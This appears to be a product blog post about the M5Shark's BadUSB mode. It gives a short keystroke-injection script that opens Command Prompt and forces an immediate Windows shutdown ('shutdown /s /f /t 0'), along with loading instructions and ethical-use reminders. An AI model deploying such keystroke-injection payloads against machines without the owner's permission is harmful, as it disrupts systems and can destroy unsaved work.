M5Shark BadUSB Script to Instantly Shut Down a Windows PC

M5Shark BadUSB Script to Instantly Shut Down a Windows PC

M5Shark BadUSB Script to Instantly Shut Down a Windows PC

The M5Shark is a powerful USB tool loved by cybersecurity enthusiasts and tech tinkerers. One of its coolest features is BadUSB mode, which emulates a keyboard to send commands to a connected computer — and yes, that includes instantly shutting down a Windows PC.

 Buy Now

What Is BadUSB on the M5Shark?

BadUSB mode allows the M5Shark to behave like a trusted USB keyboard. Since operating systems accept keyboard inputs by default, this enables powerful automation — for good or for mischief (we recommend the ethical route).

Reminder: Always use BadUSB scripts responsibly. Only run them on systems you own or have explicit permission to test on.

Instant Shutdown Script for Windows

Here’s a basic script you can run with your M5Shark to shut down any Windows machine:

REM Title: Shutdown Windows PC
DELAY 1000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 500
STRING shutdown /s /f /t 0
ENTER

Download the Script

 Download Shutdown Script

Script Breakdown:

  • GUI r: Opens the Run box (Windows + R)
  • cmd: Opens Command Prompt
  • shutdown /s /f /t 0: Shuts down the PC immediately (no warning)

How to Use It on M5Shark

  1. Copy the script into a plain text file and name it shutdown_windows.txt
  2. Transfer it to your M5Shark’s SD card or OTA interface
  3. On the M5Shark, go to BadUSB and select the script
  4. Click Run — and the PC will shut down

Conclusion

The M5Shark’s BadUSB feature makes it a valuable tool for automation, cybersecurity testing, and learning how input systems interact with operating systems. Shutting down a PC is just one example — the possibilities are endless when used ethically.

Want more M5Shark scripts like reboot, lock screen, or prank messages? Drop a comment or subscribe to our updates!


Tags: M5Shark, BadUSB, Windows Shutdown, Cybersecurity, USB Hacking, Ethical Hacking, Automation

Back to blog

Leave a comment